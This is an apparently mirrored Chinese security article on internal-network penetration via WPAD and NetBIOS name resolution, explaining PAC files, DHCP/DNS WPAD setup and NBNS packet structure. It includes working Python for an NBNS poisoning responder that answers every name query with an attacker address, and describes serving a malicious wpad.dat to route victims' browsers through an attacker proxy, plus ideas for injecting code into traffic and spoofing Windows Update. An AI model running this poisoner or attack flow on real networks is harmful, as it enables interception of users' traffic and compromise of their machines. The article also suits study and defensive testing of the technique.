利用 NetBIOS 協議名稱解析及 WPAD 進行內網滲透

wyzsk發表於2020-08-19
作者: Her0in · 2016/01/08 9:55

0x00 前言


WPAD 這項技術已經誕生了近十年的時間,其最大的優勢就在於,在一個或多個區域網中,當需要為內網中的使用者設定不同的代理伺服器去連線網際網路或者企業內網時,利用 WPAD 就能夠靈活方便的進行配置。由於配置代理伺服器的方式對於使用者來說是透明的,無需使用者手動操作的,因此,攻擊者就可以利用這個特點使用 WPAD 進行內網的滲透。

利用 WPAD 進行內網滲透的技術已經出現了很多年了,一直沒有變得像 ARP Spoof 等攻擊方式那麼流行,可能是由於常規的內網滲透中,如 Windows 域的滲透,攻擊者只需拿到域控的許可權即可控制域中的任何機器,因此,攻擊者往往只關注如何抓到域管理員的 HASH。然而即使在工作組的滲透中,也有著比 WPAD 更有效的攻擊方式。但是在攻擊者“無(qian)計(lv)可(ji)施(qiong);)”的時候,也會採用一些“非主流”的方式進行內網滲透。

本文將會闡述 WPAD 協議的工作原理,實現方式以及在內網滲透中的應用思路,僅僅起一個拋磚的作用,希望大牛們多多“引玉”。

PS:本文是筆者利用工作之餘的零碎時間所寫,難免會有紕漏,還望各位看(da)官(niu)在評論區及時指正 or PM 我。

0x01 WPAD 簡介


WPAD(Web Proxy Auto-Discovery Protocol) 是 Web 代理自動發現協議的簡稱,該協議的功能是可以使區域網中使用者的瀏覽器可以自動發現內網中的代理伺服器,並使用已發現的代理伺服器連線網際網路或者企業內網。WPAD 支援所有主流的瀏覽器,從 IE 5.0 開始就已經支援了代理伺服器自動發現/切換的功能,不過蘋果公司考慮到 WPAD 的安全風險,在包括 OSX 10.10 及之後版本的作業系統中的 Safari 瀏覽器將不再支援 PAC 檔案的解析。

WPAD 工作原理

當系統開啟了代理自動發現功能後,使用者使用瀏覽器上網時,瀏覽器就會在當前區域網中自動查詢代理伺服器,如果找到了代理伺服器,則會從代理伺服器中下載一個名為 PAC(Proxy Auto-Config) 的配置檔案。該檔案中定義了使用者在訪問一個 URL 時所應該使用的代理伺服器。瀏覽器會下載並解析該檔案,並將相應的代理伺服器設定到使用者的瀏覽器中。

PAC 檔案

PAC(Proxy Auto-Config) 配置檔案使用了 Javascript 對 URL 和代理伺服器進行描述。通常使用 proxy.pac 作為檔名, WPAD 的規範則使用 wpad.dat 作為 PAC 檔案的檔名。

一個 PAC 檔案至少定義了一個名為 FindProxyForURL(url, host)JavaScript 函式,該函式的返回值是一個字串,指定了 URL 的訪問方式,兩個引數分別代表了要指定設定的 URL 和 該 URL 所對應的主機名。

PAC 檔案內容示例如下:

#!js
function FindProxyForURL(url, host) {
   if (url== 'http://Her0in.org/') return 'DIRECT';
   if (shExpMatch(host, "*.wooyun.org")) return "DIRECT";
   if (host== 'wooyun.com') return 'SOCKS 127.1.1.1:8080';
   if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.2.2.2:8080;DIRECT';
   return 'DIRECT';
}

該檔案定義了當使用者訪問 http://Her0in.org/ 時,將不使用任何代理伺服器直接(DIRECT)訪問 URL。也可以使用 shExpMatch 函式對 host 或者 url 進行匹配設定,SOCKS 127.1.1.1:8080 指定了使用 127.1.1.1:8080 的 SOCKS 代理進行 URL 的訪問,PROXY 127.2.2.2:8080;DIRECT 指定了使用 127.2.2.2:8080 的 HTTP 代理進行 URL 的訪問,如果連線 127.2.2.2:8080 的 HTTP 代理伺服器失敗,則直接(DIRECT)訪問 URL。

本地搭建提供 WPAD 使用的 HTTP 代理伺服器時,需要監聽 80 埠,因為客戶端瀏覽器預設會從 80 埠下載 PAC 檔案,同時要將 PAC 檔案的 MIME 型別設定為 application/x-ns-proxy-autoconfigapplication/x-javascript-config,不過這不是必須要設定的。

PAC 檔案的編碼問題

FF 和 IE 只支援系統預設的編碼型別 的 PAC 檔案,並且不支援 Unicode 編碼,如 UTF-8。 關於 PAC 檔案的更多說明,可以在 這裡這裡找到。

0x02 Windows 中的 WPAD


在 Windows 系統中,從 IE 5.0 開始就支援了 WPAD,並且 Windows 系統預設是開啟了 WPAD 功能的。

可以在 IE瀏覽器的 Internet 選項連線 選項卡 — 區域網設定自動檢測設定 中看到,系統預設是勾選此功能的。

如下圖所示:

p1 圖 1:Windows 中 IE 瀏覽器的 WPAD 設定

另外, Windows 系統從 IE 5.5 開始支援“自動代理結果快取”功能,並預設開啟了此功能,此功能的機制為每當客戶端的瀏覽器連線成功 HTTP 代理伺服器,都會更新 ARP 快取,所以在客戶端瀏覽器再次連線代理伺服器也就是在再次呼叫 FindProxyForURL() 函式時,會先檢查 ARP 快取列表中,是否存在要連線的 HTTP 代理伺服器地址。所以此功能的目的就是縮減系統獲取分配物件的開銷。

可以使用如下操作關閉此功能:

方法 1:修改登錄檔

可以使用下面的登錄檔項禁用“自動代理結果快取”:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings

EnableAutoproxyResultCache(如果不存在請手動建立,型別為 REG_DWORD) 設定為 0 或者 1 。

0 = 禁用快取;1 = 啟用自動代理快取(這是預設設定)

方法 2:修改組策略設定

在組策略物件編輯器中的“使用者配置” — “管理模板” — “Windows 元件” — “Internet Explorer”中,啟用 “禁用快取自動代理指令碼”即可。

WinHTTP 的 WPAD 支援

在 Windows 系統中,有一個服務名為 WinHTTP Web Proxy Auto-Discovery Service,其描述資訊為 “WinHTTP 實現了客戶端 HTTP 堆疊並向開發人員提供 Win32 API 和 COM 自動化元件以供傳送 HTTP 請求和接收響應。此外,透過執行 Web 代理自動發現(WPAD)協議,WinHTTP 還提供對自動發現代理伺服器配置的支援。”

PS:為了安全起見,建議禁用,因為大多數的情況下不會用到。

0x03 WPAD 實現方式


WPAD 實現的方式有兩種,DHCP 和 DNS,具體內容如下。

使用 DHCP 伺服器配置 WPAD

DHCP 是 Dynamic Host Configuration Protocol 的縮寫即 動態主機配置協議,它是一個用於區域網的網路協議,處於 OSI 的應用層,所使用的傳輸協議為 UDP。DHCP 的主要功能是動態分配,當然不僅僅是 IP 地址,也包括一些其他資訊,如子網掩碼等,也包括本文所講的 WPAD,這些額外的資訊都是在 DHCP 協議中的 “DHCP options” 欄位中設定的。

DHCP 的工作流程有 4 個步驟:

p2 圖 2:DHCP 工作流程

上圖即為客戶端與 DHCP 伺服器進行互動的過程,其中,前兩個流程主要是透過客戶端傳送廣播包,之後 DHCP 伺服器進行相應與客戶端進行單播通訊。後面的兩個流程即為客戶端從 DHCP 伺服器獲取 IP 地址的過程。當客戶端已經成功獲取到了 IP 地址後同時該地址在客戶端重新登入到網路前並未被其他主機佔用,那麼將不會再執行前兩個流程。關於 DHCP 協議的具體內容不是本文的重點內容,不再詳述。

當使用 DHCP 伺服器配置 WPAD 時, DHCP 協議將會有所改變,具體的改變可以在 RFC 2131 中看到,增加了 DHCPINFORM 訊息,此訊息用於客戶端請求本地配置引數,所以客戶端在請求 WPAD 主機時就會傳送 DHCPINFORM 請求訊息,之後 DHCP 伺服器會應答 DHCPACK 確認訊息,此訊息中的 DHCP Options 欄位裡就包含 DHCP 的 252 選項即 WPAD 代理伺服器的 PAC 檔案地址。

DHCP 伺服器響應的 DHCPACK 資料包對應的 DHCP 結構:

p3 圖 3: DHCPACK 訊息結構

關於 DHCP Options 的其他定義可以檢視 DHCP 的 RFC 1531 文件

在目前的大多數內網中已經不再使用 DHCP 伺服器來進行對客戶端的 WPAD 的配置了,而是採用了較為簡單的方式如 DNS 伺服器。

利用 DNS 配置 WPAD

利用 DNS 配置 WPAD 的方式本質上還是利用了 Windows 系統的名稱解析機制。

利用 DNS 配置 WPAD 的原理如下:

客戶端主機向 DNS 伺服器發起了 WPAD+X 的查詢請求。如果客戶端主機是處於域環境下時,發起的 WPAD+X 的查詢請求為 “WPAD.當前域的域名”。DNS 伺服器對 WPAD 主機的名稱進行解析返回 WPAD 主機的 IP 地址,客戶端主機透過 WPAD 主機的 IP 的 80 埠下載並解析 PAC 檔案。

利用 DNS 進行 WPAD 的配置,網路管理員只需要在 DNS 伺服器中新增 WPAD 主機的解析記錄即可。

PS:在工作組環境中,客戶端主機執行 WPAD 功能時,就會遵循 Windows 系統的名稱解析順序,查詢的名稱均為 “WPAD”,如果 OS 版本為 Vista 之後的(包括 Vista)順序為:DNS => LLMNR => NBNS,反之則為 DNS => NBNS。

0x04 利用 WPAD 進行內網滲透


前面的內容已經說明了 WPAD 的工作原理,實現方式和 WPAD 在 Windows 系統中的相關內容。接下來就是本文要重點闡述的內容,如何利用 WPAD 進行內網滲透。

上面已經說明,在實際滲透中,大多數情況下遇到的內網都不再使用 DHCP 進行 WPAD 的配置,而利用 DNS 配置 WPAD 或者是內網本身沒有對 WPAD 的配置進行設定的情況下,都會預設遵循 Windows 系統的名稱解析順序,因此,可以利用 Windows 系統的名稱解析順序的缺陷進行 WPAD 的“惡意”配置,從而進行內網的滲透。

關於 Windows 系統的名稱解析順序 及利用 Windows 系統的名稱解析缺陷滲透的思路可以從我的下面兩篇文章中找到。

Windows 名稱解析機制探究及缺陷利用(下文簡稱 文1)

利用 LLMNR 名稱解析缺陷劫持內網指定主機會話(下文簡稱 文2)

利用 NetBIOS 名稱解析進行基於 WPAD 的中間人攻擊

在 文2 中已經闡述了 如何利用 LLMNR 名稱解析進行內網滲透的思路,並給出了相應的利用程式碼。所以本文將不再贅述“如何利用 LLLMNR 名稱解析缺陷進行基於 WPAD 的中間人攻擊”。

NetBIOS 協議名稱解析過程

一張圖看明白 NetBIOS 名稱解析過程,以受害者訪問區域網中的 WEBSERVER 為例(受害者主機的 NetBIOS快取中無 WEBSERVER):

p4 圖 4:NetBIOS 名稱解析過程

NetBIOS 協議分析

使用 Wireshark 可以快速抓取到 NetBIOS 協議名稱查詢的資料包,如下圖:

p5 圖 5:NetBIOS 名稱查詢資料包格式

NetBIOS 的協議結構與 LLMNR 的基本一致。但是與 LLMNR 還是有所不同,其中最明顯的一點為 NetBIOS 協議中的主機名稱是加密的,透過查閱相關資料,如 dpkt,Wireshark等,可以找到其加密和解密的原始碼:

PS:以下程式碼引用自 dpkt 庫。

#!python
def encode_name(name):
"""Return the NetBIOS first-level encoded name."""
l = []
for c in struct.pack('16s', name):
    c = ord(c)
    l.append(chr((c >> 4) + 0x41))
    l.append(chr((c & 0xf) + 0x41))
return ''.join(l)

def decode_name(nbname):
"""Return the NetBIOS first-level decoded nbname."""
if len(nbname) != 32:
    return nbname
l = []
for i in range(0, 32, 2):
    l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
                 ((ord(nbname[i+1]) - 0x41) & 0xf)))
return ''.join(l).split('\x00', 1)[0]

從程式碼中不難分析出加解密的過程,至於為何 pack 的時候使用 16 請參閱 文1 中對 NetBIOS 名稱的闡述。

NetBIOS 協議的內容比較多,其中有不少與我們在內網滲透中所使用的一些命令有直接的關係,更多內容可以查閱 NetBIOS 協議的 RFC 文件

Python 實現 NetBIOS 協議的質詢與應答

儘管目前已有相當優秀的網路協議開源庫實現了 NetBIOS 的質詢與應答,不過為了更好的理解 NetBIOS 協議,我們還是動手自己來構造協議資料包。根據 Wireshark 抓取的資料包(圖 5)可以很快的構造並實現 NetBIOS 協議的名稱查詢資料包。程式碼如下:

#!python    
#/usr/bin/env python
# -*- coding:utf-8 -*-


__doc__ = """

    NBNS Query ,
                    by Her0in

"""

import socket, struct

class NBNS_Query:
    def __init__(self,name):
        self.name = name
        self.populate()
    def populate(self):
        self.HOST = '192.168.16.255'
        self.PORT = 137
        self.nqs = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.QueryData = (
        "\xa9\xfb"  # Transaction ID
        "\x01\x10"  # Flags Query
        "\x00\x01"  # Question:1
        "\x00\x00"  # Answer RRS
        "\x00\x00"  # Authority RRS
        "\x00\x00"  # Additional RRS
        "\x20"      # length of Name:32
        "NAME"      # Name   
        "\x00"      # NameNull
        "\x00\x20"  # Query Type:NB
        "\x00\x01") # Class

        self.data = self.QueryData.replace('NAME', struct.pack("32s", self.encode_name(self.name)))

    # From http://code.google.com/p/dpkt/
    def encode_name(self,name):
        """Return the NetBIOS first-level encoded name."""
        l = []
        for c in struct.pack('16s', name):
            c = ord(c)
            l.append(chr((c >> 4) + 0x41))
            l.append(chr((c & 0xf) + 0x41))
        return ''.join(l)

    def Query(self):
        while 1:
            print "NBNS Querying... -> %s" % self.name
            self.nqs.sendto(self.data, (self.HOST, self.PORT))
        self.nqs.close()

if __name__ == "__main__":
    nbns = NBNS_Query("WPAD")
    nbns.Query()

透過 Wireshark 抓取 NetBIOS 名稱查詢的應答資料包,同樣可以快速實現名稱查詢的應答功能。程式碼如下:

#!python
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """

    NBNS Answer ,
                    by Her0in

"""

import socket, struct,binascii

class NBNS_Answer:
    def __init__(self, addr):

        self.IPADDR  = addr
        self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.init_socket()
        self.populate()
    def populate(self):

        self.AnswerData = (
        "TID"              # Transaction ID
        "\x85\x00"         # Flags Query
        "\x00\x00"         # Question
        "\x00\x01"         # Answer RRS
        "\x00\x00"         # Authority RRS
        "\x00\x00"         # Additional RRS
        "\x20"             # length of Name:32
        "NAME"             # Name   
        "\x00"             # NameNull
        "\x00\x20"         # Query Type:NB
        "\x00\x01"         # Class
        "\x00\x00\x00\xa5" # TTL
        "\x00\x06"         #
        "\x00\x00"         # Null
        "IPADDR")          # IP Address

    def init_socket(self):
        self.HOST = "0.0.0.0"
        self.PORT = 137
        self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)

    def decode_name(self, nbname):
        """Return the NetBIOS first-level decoded nbname."""
        if len(nbname) != 32:
            return nbname
        l = []
        for i in range(0, 32, 2):
            l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
                         ((ord(nbname[i+1]) - 0x41) & 0xf)))
        return ''.join(l).split('\x00', 1)[0]

    def Answser(self):
        self.nas.bind((self.HOST, self.PORT))
        print "Listening..."
        while 1:
            data, addr = self.nas.recvfrom(1024)
            tid  = data[0:2]           
            name = data[13:45]
            data = self.AnswerData.replace('TID', tid)
            data = data.replace('NAME', name)
            data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
            print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name))
            self.nas.sendto(data, addr)
        self.nas.close()

if __name__ == "__main__":
    nbns = NBNS_Answer("11.22.33.44")
    nbns.Answser()

利用 NetBIOS 名稱解析進行基於 WPAD 的中間人攻擊思路解析

透過上面一系列針對 WPAD 原理和 NetBIOS 協議的闡述,理解利用 NetBIOS 名稱解析進行基於 WPAD 的中間人攻擊的思路就不難了,不過利用思路將不會再像 文2 那樣詳述。因為我認為,只要理解了攻擊思路,如何利用就是一個“方法論”的問題了,具體情況具體分析,各位大牛完全可以自由發揮。

利用 NetBIOS 名稱解析進行基於 WPAD 的中間人攻擊本質上還是利用了 Windows 系統的名稱解析順序和 NetBIOS 協議的特點。

在文章第三小節已經說過,在工作組環境中,客戶端主機執行 WPAD 功能時,就會遵循 Windows 系統的名稱解析順序,查詢的名稱均為 “WPAD”。那麼,如此看來,先廣播進行 “WPAD” 名稱的註冊,然後監聽 137 埠,等待區域網其他已啟用 WPAD 功能的主機啟動 IE 瀏覽器連線網路即可將受害者主機的瀏覽器代理設定為攻擊者指定的代理伺服器,這樣就可以獲得受害者的瀏覽器的上網記錄。

利用上一節中的 Demo 程式以及 Python 的 SimpleHTTPServer 功能還有一臺 HTTP 或者 SOCKS 代理伺服器即可快速模擬出一個簡單的攻擊場景。如下圖:

p6 圖 6: 利用 NetBIOS 名稱解析進行基於 WPAD 的中間人攻擊

如上圖所示,攻擊者開啟 NetBIOS 惡意應答程式,並監聽 80 埠提供 PAC 配置檔案(wpad.dat)的下載,同時開啟代理伺服器(這裡使用的是 HTTP 代理伺服器 => Burp Suite)。

受害者主機(Windows XP) 開啟 IE 瀏覽器(已啟用了 WPAD 功能)開始上網,此時瀏覽器就會尋找當前區域網中的代理伺服器,實際上是進行了 WPAD 的名稱查詢,可以從圖中看到攻擊者的惡意應答程式做了惡意應答,同時提供 PAC 配置檔案下載的 HTTP 伺服器列印出了日誌資訊,此時受害者的瀏覽器已經下載了 PAC 配置檔案(該檔案內容為代理伺服器地址資訊),之後,受害者的瀏覽器就會使用攻擊者指定的代理伺服器進行上網,這一點從 Burp Suite 中就可以看到。

OK,上述內容就是整個攻擊的思路和流程,在實戰中,完全可以將攻擊過程程式化,自動化。

0x05 總結


利用 NetBIOS 協議進行中間人攻擊的方式其實還有很多,攻擊的思路也可以很靈活的根據實際需要進行佈局。在利用 WPAD 進行攻擊時,實際的效果很有可能沒有想象的那麼好,不過一旦奏效,就可以拿到受害者主機許可權。尤其是在無計可施的情況下,還是值得一試的,很多內網中,管理員都不會對這些攻擊方式做防禦措施,除了部分桌面安全產品,如防火牆可能會做嚴格的過濾攔截,大部分情況下,此類攻擊方式還是很有效的,尤其是可以在做名稱解析響應時,篩選受害者主機,對 HTTP 資料包進行更改插入惡意程式碼,進行針對性的定點打擊。另外,NetBIOS 協議比起 LLMNR 有一個更佳有利於攻擊的特點,NetBIOS 協議的名稱解析可以對受害者訪問的域名進行響應,當然,前提是 DNS 伺服器沒有做出成功的響應時,才會使用 NetBIOS 協議進行查詢。關於這一點以及 WPAD ,都可以結合 Windows Update 所使用的更新域名進行中間人攻擊,下載並執行攻擊者指定的補丁檔案。

關於 NetBIOS 協議的內容可以在相關的 RFC 文件中查閱,其中還有不少東西可以在內網滲透中利用到,如 OPCODE 欄位的取值,BROWSER 協議等等,更多的攻擊思路還有待各位看官多多“引玉”。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章